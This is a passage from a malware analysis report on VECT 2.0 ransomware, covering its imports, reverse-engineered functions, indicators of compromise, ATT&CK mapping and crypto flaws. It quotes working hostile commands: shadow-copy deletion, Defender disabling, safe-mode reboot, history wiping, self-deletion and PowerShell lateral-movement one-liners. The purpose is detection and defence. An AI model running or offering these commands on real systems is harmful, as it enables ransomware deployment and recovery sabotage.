12. Static Imports Summary

Category	Key APIs
Crypto	`ADVAPI32!SystemFunction036` (`RtlGenRandom`) only — no CryptoAPI / CNG / OpenSSL imports. All cryptographic primitives (ChaCha20, BLAKE2b, X25519, Poly1305) are statically linked
File I/O	`CreateFileW`, `ReadFile`, `WriteFile`, `MoveFileExW`, `SetFilePointer`, `GetFileSizeEx`, `FindFirst/NextFileW`, `DeleteFileA`, `_filelengthi64`, `_lseeki64`, `fopen`, `fread`, `fwrite`, `fclose`, `freopen_s`
Process / threads	`CreateProcessA`, `CreateThread`, `_beginthreadex`, `OpenProcess`, `TerminateProcess`, `WaitForSingleObject`, `WaitForMultipleObjects`, `CreateToolhelp32Snapshot`, `Process32FirstW/NextW`, `OpenProcessToken`, `GetTokenInformation`, `CreateSemaphoreA`, `CreateEventA`, `GetCurrentProcess/Thread`, `Get/SetThreadContext`, `SuspendThread`, `ResumeThread`, `Set/GetProcessAffinityMask`
Registry	`RegOpenKeyExA`, `RegCreateKeyExA`, `RegSetValueExA`, `RegCloseKey`
Network	`MPR!WNetAddConnection2A`, `MPR!WNetEnumResource{A,W}`, `MPR!WNetOpenEnum{A,W}`, `MPR!WNetCloseEnum`, `MPR!WNetGetConnectionW`, `NETAPI32!NetShareEnum`, `NETAPI32!NetServerEnum`, `NETAPI32!NetApiBufferFree`, `IPHLPAPI!GetAdaptersInfo`, `WS2_32!htonl/inet_addr/inet_ntoa` (no socket transport — only address utilities and SMB share enumeration)
Service Control	`OpenSCManagerA`, `OpenServiceA`, `ControlService`, `QueryServiceStatusEx`, `CloseServiceHandle`
GDI / wallpaper	`GetDC`, `ReleaseDC`, `CreateCompatibleBitmap`, `CreateCompatibleDC`, `CreateFontA`, `CreateSolidBrush`, `FillRect`, `GetDIBits`, `GetTextExtentPoint32A`, `SelectObject`, `SetBkMode`, `SetTextColor`, `TextOutA`, `SystemParametersInfoW(SPI_SETDESKWALLPAPER)`
Volume / network drives	`FindFirstVolumeW`, `FindNextVolumeW`, `FindVolumeClose`, `SetVolumeMountPointW`, `GetVolumePathNamesForVolumeNameW`, `GetDriveTypeW`, `GetLogicalDrives`
Anti-debug-related	`IsDebuggerPresent`, `CheckRemoteDebuggerPresent`, `OutputDebugStringA`, `AddVectoredExceptionHandler`, `RemoveVectoredExceptionHandler`, `RaiseException`, `SetUnhandledExceptionFilter` (all present, mostly used by MinGW runtime; only the parent-process check is genuinely anti-analysis)
Other	`GetSystemMetrics(SM_REMOTESESSION)` (RDP detection), `GetEnvironmentVariableA(USERPROFILE/APPDATA)` (artefact paths), `GetTempPathA` (wallpaper artefact), `GlobalMemoryStatusEx` (thread-count tuning), `GetSystemInfo`, `GetTickCount64`, `QueryPerformanceCounter`

13. IDA Analysis — Renamed Functions

Entry point and main dispatcher

Address	Name	Size	Description
`0x140001180`	`_tmainCRTStartup`	0x32D B	MinGW-w64 CRT initialization stub, calls user main
`0x14011B3F0`	`main_user`	0x157A B	Real user `main(argc, argv)` — CLI parsing and high-level orchestration
`0x140066A50`	`global_config_constructor`	0x29CE B	C++ static initializer populating `g_config_struct` with ~25 XOR-encrypted std::string fields (onion URL, victim_id, paths, kill-list templates, log strings)
`0x14011B0A0`	`global_config_destructor`	0x175 B	atexit destructor that frees all dynamic strings of the global config struct

Cryptography

Address	Name	Size	Description
0x140069970	init_crypto_state_97B	0x1DF B	Allocates and initializes the 97-byte crypto state. Bytes 0..63 are XOR'd with valEv but never used; bytes 64..95 are the actual hardcoded ChaCha20 key
0x140055890	xor_buf_with_byte	0x1D B	Single-byte XOR loop over a buffer (used by the cosmetic valEv randomization on the unused half of the crypto state)
0x140002AE0	chacha20_xor_dispatch	0x39 B	Dispatch shim: forces ChaCha20 counter to 0, places the key pointer (crypto_state + 64) as arg6, then tail-calls the keystream wrapper through a vfn-table
0x140003350	chacha20_xor_setup	0xBF B	Builds the ChaCha20 16-word state (sigma | key | counter | nonce in IETF order) on the stack and calls the keystream core; zeros the state on return via secure_memzero
0x140002B90	chacha20_keystream_core	–	ChaCha20 keystream core: 20-round (10 doublerounds) ChaCha20 with rotations 16/12/8/7, RFC 7539 IETF variant. Reached only through the dispatch shim above
0x14001CBB0	salsa20_core_unused	0x415 B	Salsa20 quarterround core (rotations 7/9/13/18). Present in the binary but not invoked by the file-encryption call chain — likely an HSalsa20 / NaCl helper compiled in by libsodium and never called
0x14001E5A0	x25519_scalarmult_inner	0xD45 B	Curve25519 Montgomery ladder over 5×51-bit limbs. Performs the standard X25519 scalar clamp and 254-bit ladder loop
0x14001F2F0	x25519_scalarmult_safe	0x460 B	Hardened wrapper around the inner X25519 routine; constant-time rejection of all known small-order Curve25519 points
0x14001DE80	fe25519_mul	0x330 B	Field multiplication mod $2^{255}-19$
0x14001E1B0	fe25519_sqr	0x1E9 B	Field squaring mod $2^{255}-19$
0x140027CB0	fe25519_invert	0x4BD B	Field inversion via Fermat's little theorem (chain of squarings/multiplications)
0x140026BF0	fe25519_pack	0x348 B	Field element to canonical 32-byte little-endian encoding
0x140026B80	fe25519_unpack	0x6D B	32-byte little-endian to 5×51-bit limbs
0x140004A90	secure_random	0x34 B	RtlGenRandom wrapper; calls abort() -style fatal handler on failure (no fallback)
0x140004000	secure_memzero	0x2C B	Compiler-fence-protected zero-fill of a buffer (used to wipe ChaCha state, X25519 scalar, and short-lived crypto material)

File encryption pipeline

Address	Name	Size	Description
`0x14006BCF0`	`init_encryption_ctx`	0x41C B	Initializes the per-drive encryption context from the global config struct: copies onion (offset 0xC8) into `ctx+264`, victim_id (offset 0xE8) into `ctx+296`, allocates and sets up the 97-byte crypto state at `ctx+448`, computes thread counts from CPU and RAM
`0x14006A220`	`encrypt_drive_orchestrator`	0xA5E B	Per-drive coordinator: spawns `n_scanners = max(4, total/8)` and `n_encryptors = max(12, total - n_scanners)` worker threads, queues and waits on completion
`0x140069C80`	`scanner_thread_proc`	0x539 B	BFS directory walker: enumerates dirs, applies skip lists, pushes file paths onto the file queue, drops the ransom note inside every visited directory
`0x140069B90`	`encryptor_thread_proc`	0xE6 B	Pop-and-encrypt loop: pops a file path from the queue, calls `encrypt_one_file`, increments the atomic file counter
`0x14006ACE0`	`encrypt_one_file`	0x415 B	Per-file routine: rename via `MoveFileExW`, open with `FILE_FLAG_NO_BUFFERING`, branch on size for full or intermittent (4-chunk) encryption, append the 12-byte footer at EOF
`0x1400695E0`	`encrypt_chunk_inplace`	0x5D B	Per-chunk encryption: generate 12 random bytes (footer/nonce), call the ChaCha20 dispatcher with key = `crypto_state + 64`
`0x140058E90`	`get_extension_vect`	0xBB B	Returns the lazy-decrypted std::string `"vect"` used to build the renamed filename suffix
`0x14006C390`	`queue_pop_blocking`	0xA4 B	Blocking pop from a producer/consumer std::queue with semaphore wait
`0x140050EC0`	`queue_push`	0xD3 B	Non-blocking push onto a std::queue with semaphore signal
`0x14005D3F0`	`is_skip_directory_for_recursion`	0x6E B	Returns true if the directory name starts with `$` or matches case-insensitively any entry of the 12-element exclusion list
`0x14005D460`	`is_skip_filename_or_executable`	0xBE B	Returns true if the filename matches a boot-loader name, or if its extension is `.exe`, `.dll`, or `.sys`
`0x140059F90`	`build_ransom_note_text`	0x27F3 B	Concatenates ~25 XOR-encrypted string fragments into the final ransom-note text via `std::ostringstream`. Two branches (with/without operator credentials) produce identical text from different key sets

Persistence and recovery sabotage

Address	Name	Size	Description
0x140063BE0	install_persistence_3way	0xEC6B	Writes the three persistence registry entries: …\Run\<basename> plus the two SafeBoot subkeys (Minimal and Network) with (Default) = "Service"
0x14005EF70	install_run_key_alt	0x240B	Secondary Run-key install performed by the kill-list dispatcher under a slightly different name — redundant persistence
0x14005E280	trigger_safemode_reboot	0x2EFB	Spawns bcdedit /set {default} safeboot minimal via CreateProcessA(CREATE_NO_WINDOW) with a 5-second wait
0x140064F00	disable_defender_realtime	0x322B	Spawns the multi-flag Set-MpPreference … PowerShell command via detached cmd.exe
0x14005EC80	vssadmin_delete_shadows	0x2BDB	Spawns vssadmin delete shadows /all /quiet with a 30-second wait
0x140064B40	delete_powershell_history	0x3B9B	Resolves %APPDATA% and calls DeleteFileA on …\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
0x1400557 10	kill_services_from_list	0x171B	Iterates the 28-element service kill list; for each: OpenServiceA, QueryServiceStatusEx, ControlService(SERVICE_CONTROL_STOP)
0x14006CE00	build_service_kill_list	0x23F2B	Populates the 28-element service-name std::vector<char*> from XOR-encrypted constants. Per-string keys range from 32-bit single-DWORD XOR to 64-bit cycle-of-8
0x1400655B0	kill_processes_from_list	0x11EFB	Builds the 8-process kill list and iterates Process32First/NextW; for each match: OpenProcess(PROCESS_TERMINATE) + TerminateProcess(handle, 9)
0x1400652A0	dispatch_kills_and_persist	0x34 B	Sequencer: kill_services_from_list → kill_processes_from_list → tail-call install_run_key_alt

Wallpaper and visual indicators

Address	Name	Size	Description
0x1400576 30	render_wallpaper_bmp_vect2	0xF60B	GDI rendering pipeline: 1920×1080 24-bit BMP with VECT 2.0 title (Arial 120 bold red) plus ASCII-art logo and ID: <victim_id> line; serializes to %TEMP%\dvm3_wall.bmp
0x140054AD0	set_wallpaper	0xD3B	UTF-8→UTF-16 path conversion and SystemParametersInfoW(SPI_SETDESKWALLPAPER, …, SPIF_UPDATEINIFILE|SPIF_SENDCHANGE)

Lateral movement

Address	Name	Size	Description
`0x14005FBC0`	`mount_network_shares`	0x18B4 B	Network share enumeration via ADSI/ `NetShareEnum` / `WNetEnumResource` and mounting via `WNetAddConnection2A` (cached creds, drive letters Z..L, max 14 mounts)
`0x140051AE0`	`lateral_smb_copy_only`	0xA5D B	Lateral technique [3]: SMB `Copy-Item` only, no remote exec
`0x140050FA0`	`lateral_smb_cmdkey_stage`	0xB35 B	Lateral technique [9]: `Copy-Item` + local `cmdkey /generic:$pc /user:$u /pass:$p` for credential staging
`0x140052540`	`lateral_wmi_create_a`	0xB3F B	Lateral technique [4]: `Invoke-WmiMethod -Class Win32_Process -Name Create` (variant A)
`0x1400558B0`	`lateral_wmi_create_b`	0xB53 B	Lateral technique [0]: `Invoke-WmiMethod -Class Win32_Process -Name Create` (variant B with reordered variable initialization — likely a fail-safe duplicate)
`0x14005C790`	`lateral_cim_dcom_win32process`	0xB92 B	Lateral technique [1]: `New-CimSessionOption -Protocol Dcom` + `Invoke-CimMethod Win32_Process Create`
`0x1400531B0`	`lateral_dcom_mmc20`	0xB1A B	Lateral technique [8]: `[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application', $pc)).Document.ActiveView.ExecuteShellCommand(…, '7')` (wsHidden)
`0x140053D10`	`lateral_winrm_invoke_command`	0xB23 B	Lateral technique [6]: `Invoke-Command -Credential $cred -ScriptBlock {Start-Process …}` over WinRM
`0x140054BB0`	`lateral_sc_service_install`	0xB5E B	Lateral technique [5]: `sc.exe \\$pc create $svc … start $svc … delete $svc` (service name `DM[A-Z]{4}`)
`0x140056420`	`lateral_schtasks_native`	0xB8E B	Lateral technique [7]: native `schtasks /create /s $pc … /ru SYSTEM /f`, `/run`, `/delete`
`0x140062FB0`	`lateral_creds_schedtask_system`	0xC2D B	Lateral technique [2]: CIM session over DCOM + `Register-ScheduledTask` with `New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest`, `Start-ScheduledTask`, sleep 500 ms, cleanup
`0x14006FEB0`	`exec_powershell_timeout`	0x5EA B	Spawns `powershell.exe` with the assembled script and a 60-second `WaitForSingleObject` timeout
`0x14006F200`	`is_powershell_available`	0xB11 B	Probes for `powershell.exe` availability by attempting an `Invoke-Expression` on a no-op

Anti-analysis

Address	Name	Size	Description
`0x14004B8F0`	`TlsCallback_winpthreads`	0x205 B	Third TLS callback (after the two MinGW runtime stubs); installs the `MS_VC_EXCEPTION` VEH at `DLL_PROCESS_ATTACH`, removes it at detach
`0x14004AC30`	`veh_msvc_setname_handler`	0x18 B	Vectored exception handler that returns `EXCEPTION_CONTINUE_EXECUTION` for code `0x406D1388` (Visual Studio thread-name exception raised by `pthread_setname_np`)
`0x14004D620`	`pthread_setname_np`	0x127 B	MinGW-w64 winpthreads thread-name function; raises `MS_VC_EXCEPTION` to inform a debugger of a thread name
`0x14005E8C0`	`is_parent_a_debugger`	0x25E B	Parent-process module-name substring check against `devenv`, `windbg`, `x64dbg`, `x32dbg`, `ollydbg`, `ida`
`0x140053CF0`	`is_remote_session`	0x19 B	`GetSystemMetrics(SM_REMOTESESSION)` wrapper — used to skip Safe Mode reconfiguration when the session is RDP/Terminal Services

Helpers

Address	Name	Size	Description
`0x14006C300`	`is_admin_token`	0x85 B	`OpenProcessToken` + `GetTokenInformation(TokenElevation)` — gates the privileged action chain
`0x14004F300`	`print_console`	–	Console output helper (used only when `--verbose`)
`0x140003A80`	`rng_call_dispatch`	–	Indirect dispatcher to the underlying RNG implementation, ultimately reaching `secure_random`
`0x140003CA0`	`init_runtime_features`	0xD7 B	MinGW runtime initializer (calls `cpuid_features_init` and a series of feature-detection helpers)
`0x140003E60`	`cpuid_features_init`	–	CPU feature discovery via `cpuid` (MinGW runtime — not an anti-VM check)

Notable globals

Address	Name	Description
`0x1401206E0`	`g_config_struct`	C++-constructed configuration object: onion URL at offset `0xC8`, victim_id at offset `0xE8`, plus extension/path/log strings
`0x14014B63C`	`g_lateral_techniques_array`	`std::function<void(ctx*)>[10]` — the 10 PowerShell lateral techniques (entry stride 36 B)
`0x14011E220`	`g_chacha20_vfn_table`	Function-pointer dispatch table for the stream-cipher wrapper (entry [3] = the file-encryption wrapper used through `chacha20_xor_dispatch`)
`0x14011E080`	`g_analysis_tool_blocklist`	35-pointer array of UTF-16 LE analysis-tool exe-name strings (`scylla*`, `procexp*`, `procmon*`, `wireshark.exe`, `processhacker.exe`, `idaq64.exe`, `joeboxcontrol/server.exe`, `httpdebugger.exe`, ...). One entry (`ImportREC.exe`) is duplicated. Constructed at static init in `.data` but never read by any executable function — dead anti-analysis data
`0x140138380`	`g_dir_skip_list`	12-entry array of UTF-16 directory-name pointers excluded from BFS recursion
`0x1401383E0`	`g_filename_skip_list`	8-entry array of UTF-16 boot-loader filename pointers excluded from encryption
`0x140163D80`	`g_veh_handle`	Handle returned by `AddVectoredExceptionHandler`, used by `pthread_setname_np` to gate `RaiseException`

14. Indicators of Compromise (IOCs)

Hashes

Type	Value
SHA-256	`01881ad57dec5254c53334a63a6c7216edc3dcf0dce02536856bcff9d66fef5d`
MD5	`5cce0d983f04d51d102a91b8353717fa`

Network

Type	Value
Onion (primary contact)	`http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion`
Chat URL	`http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion/chat/5cb9f0f9-e171-403f-bed9-a3cd6ce36d1f`
Campaign / victim identifier	`5cb9f0f9-e171-403f-bed9-a3cd6ce36d1f` (hardcoded UUID, appears in the ransom note as `Unique ID`)
Email	N/A — operator does not advertise an email channel
Qtox (backup contact)	`1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B`

Files

Indicator	Value
Encrypted extension	`.vect` (appended to the original filename, original extension preserved)
Encrypted file footer	last 12 bytes of any `.vect` file = ChaCha20 nonce of the last encrypted chunk
Execution marker	`C:\ProgramData\.vect` (must exist for the binary to run)
Lateral move drop path	`\\<remote_host>\C$\ProgramData\<filename>`
Wallpaper artefact	`%TEMP%\dvm3_wall.bmp` (1920×1080, 24-bit)
Ransom note	one copy in every encrypted directory plus one at `%USERPROFILE%\Desktop\<base>.txt`

Registry

Key	Description
`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<basename>`	Standard auto-run; value = full module path
`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\<basename>.exe`	`(Default) = "Service"` — Safe Mode (Minimal) auto-load
`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<basename>.exe`	`(Default) = "Service"` — Safe Mode (Network) auto-load

Behavioural

- Spawning of `vssadmin delete shadows /all /quiet` shortly after process start
- Spawning of a multi-flag `Set-MpPreference` PowerShell command disabling four Defender protections in a single invocation
- Spawning of `bcdedit /set {default} safeboot minimal` before encryption
- Mass `MoveFileExW` operations renaming files to `<path>.vect`
- Direct `FILE_FLAG_NO_BUFFERING` (`0x10000000`) reads/writes during encryption
- Detached `cmd /c ping 127.0.0.1 -n 3 >nul & del /f /q "<self>"` triggered by the parent ransomware process (self-delete)
- Drop of `<filename>` into `\\<host>\C$\ProgramData\` on multiple network hosts within a 60-second window followed by remote scheduled-task creation, WMI Win32_Process invocations, MMC20.Application DCOM activation, or WinRM `Invoke-Command` (depending on which lateral technique fires)
- Creation and quick deletion of remote scheduled tasks named `DM[A-Z]{4}` (six-character names with the `DM` prefix and four random uppercase letters)
- Creation and quick deletion of remote services named `DM[A-Z]{4}`
- Deletion of `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` after the encryption phase
- Mass `[adsisearcher]'objectCategory=computer'` LDAP queries originating from PowerShell on the compromised host, followed by parallel SMB write activity to multiple `\\<host>\C$\ProgramData\` paths

Wallpaper Visual

The post-encryption desktop wallpaper has the following layout (1920×1080, 24-bit BMP, plain black background, three text colour ranges):

```
                          VECT 2.0
                  (Arial 120 bold, red #FF3232, centred at Y=80)


:::     ::: :::::::::: :::::::: ::::::::::
:+:     :+: :+:       :+:    :+:    :+:           (Arial 48 white)
+:+     +:+ +:+       +:+           +:+           Y = 280..420
+#+ +#++:++#  +#+
+#+   +#+  +#+       +#+
#+#+#+#   #+#       #+#
   ###     ########## ########     ###

Your files have been encrypted (cyan #FFC800, Y=540)

Read the README file for instructions  (gray #C8C8C8, Y=620..740)
Do not modify encrypted files
Tor browser required for negotiation


        ID: 5cb9f0f9-e171-403f-bed9-a3cd6ce36d1f
               (Arial 32 dark gray #646464, Y=860)
```

(The exact text content of the white/cyan/gray middle lines depends on the build but follows the structure above. The ASCII-art logo style is identical across all known samples of this family.)

Distinctive Strings

- `"VECT 2.0"` — wallpaper title (Arial 120 bold red, displayed at the top of the post-encryption desktop wallpaper)
- `"dvm3_wall.bmp"` — wallpaper artefact filename in `%TEMP%`, leaks the internal codename `dvm3`
- `"!!! README !!!"` — first non-blank line of the ransom note
- `"Backup contact (Qtox): 1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B"` — last line of the ransom note (literal Qtox identifier)
- `"DM[A-Z]{4}"` regex — pattern of remote scheduled-task and service names created by the lateral-movement techniques
- `"expand 32-byte k"` — ChaCha20 sigma constant present in `.rdata` (libsodium-derived implementation marker)

---

15. MITRE ATT&CK Mapping

ID	Technique	Implementation
T1078.002	Valid Accounts: Domain Accounts	Operator-supplied credentials consumed via `--creds <path>`
T1059.001	Command and Scripting Interpreter: PowerShell	All ten lateral-movement techniques invoke `powershell.exe`; the Defender-disable command also runs through PowerShell
T1047	Windows Management Instrumentation	`Invoke-WmiMethod -Class Win32_Process -Name Create` (techniques 3, 4) and `Invoke-CimMethod -ClassName Win32_Process -MethodName Create` (technique 5)
T1053.005	Scheduled Task/Job: Scheduled Task	Native `schtasks.exe /ru SYSTEM` (technique 9) and CIM-DCOM `Register-ScheduledTask` with SYSTEM principal (technique 10)
T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
T1564.005	Hide Artifacts: Hidden File System (Safe Mode autostart)	`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\<basename>.exe` and `…\Network\<basename>.exe`
T1543.003	Create or Modify System Process: Windows Service	`sc.exe \\$pc create … start … delete …` (technique 8)
T1562.001	Impair Defenses: Disable or Modify Tools	`Set-MpPreference -DisableRealtimeMonitoring …` (four flags disabled in one PowerShell call)
T1562.002	Impair Defenses: Disable Windows Event Logging	N/A — not performed by this sample
T1070.003	Indicator Removal: Clear Command History	`DeleteFileA` on `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`
T1070.004	Indicator Removal: File Deletion	Self-delete via `cmd /c ping 127.0.0.1 & del` detached process
T1018	Remote System Discovery	LDAP/ADSI search `[adsisearcher]'objectCategory=computer'.FindAll()`
T1135	Network Share Discovery	`NetShareEnum` per host plus `WNetOpenEnumA(GLOBALNET, DISK)` + `WNetEnumResourceA`
T1057	Process Discovery	`CreateToolhelp32Snapshot` + `Process32FirstW`/`Process32NextW` for the kill list
T1021.002	Remote Services: SMB/Windows Admin Shares	Drops the binary at `\\<host>\C$\ProgramData\<filename>` (techniques 1, 2, 8 plus pre-stage in 3-7, 9, 10)
T1021.003	Remote Services: Distributed Component Object Model	MMC20.Application DCOM (technique 6), CIM-over-DCOM session (techniques 5, 10)
T1021.006	Remote Services: Windows Remote Management	`Invoke-Command` over WinRM (technique 7)
T1486	Data Encrypted for Impact	ChaCha20 file encryption with the universal hardcoded 256-bit key
T1490	Inhibit System Recovery	`vssadmin delete shadows /all /quiet`; `bcdedit /set safeboot minimal` (when `--force-safemode`)
T1489	Service Stop	28 services targeted via SCM as listed in Section 8

ID	Technique	Implementation
T1491.001	Defacement: Internal Defacement	Desktop wallpaper replacement via `SystemParametersInfoW(SPI_SETDESKWALLPAPER)`
T1485	Data Destruction	Indirect: for files larger than 128 KiB the lost-nonce flaw renders ~75% of the file content cryptographically unrecoverable even with the master key — the malware is destructive beyond what its author appears to intend
T1657	Financial Theft	Ransomware double-extortion claim (data theft) is asserted in the note but is not implemented by this binary

16. Summary

VECT 2.0 is a Windows x64 ransomware authored by an operator with strong red-team / Active Directory expertise but limited cryptographic engineering discipline. The malware combines an extensive lateral-movement toolkit (ten distinct PowerShell-based remote-execution primitives covering SMB, WMI, DCOM, WinRM, native scheduled tasks, and Windows services), a Safe Mode persistence chain designed to bypass endpoint protection, and a kill list curated specifically for enterprise environments (CommVault, Veeam, Symantec, MSSQL/Oracle/MySQL, QuickBooks). Recovery sabotage is thorough — Volume Shadow Copies are deleted, Microsoft Defender is disabled through a multi-flag `Set-MpPreference` call, and the binary self-deletes after encryption — and the artefact chain is anti-forensic-aware (PowerShell command history wipe, detached self-delete via the `ping` / `del` trick).

The cryptographic implementation, however, is poor. The 256-bit ChaCha20 key used to encrypt every file on every host is hardcoded at compile time and is not derived from any per-host or per-victim secret. A token "randomization" gesture is performed at runtime — a single byte from `std::random_device` is XOR'd byte-wise over an unrelated 64-byte region of the crypto context — but the actual key bytes (offsets 64..95 of the 97-byte context) are never modified after the static initialisation. Equally, for files larger than 128 KiB the ransomware applies an intermittent encryption scheme over four 32 KiB chunks but stores only the last chunk's nonce in the EOF footer; the nonces of the first three chunks are written to a stack-local buffer that is overwritten on every iteration and then discarded, so the corresponding ciphertext regions cannot be recovered even with full operator cooperation.

Finally, the ransom note's data-exfiltration claim is not backed by any networking code in this binary: no HTTP/HTTPS, no SMTP, no DNS tunnelling, no socket transport. SMB share enumeration and `WS2_32` address-string utilities are present but are used solely for in-network read/write file access during local encryption.

The combination of competent operational tradecraft and amateur cryptographic engineering produces a malware that is dangerous (encryption is fast, broad in scope, and aggressively spreads laterally) but technically fragile: the universal-key flaw and the lost-nonce flaw are independent of any cryptanalytic effort and are properties of how the binary was built.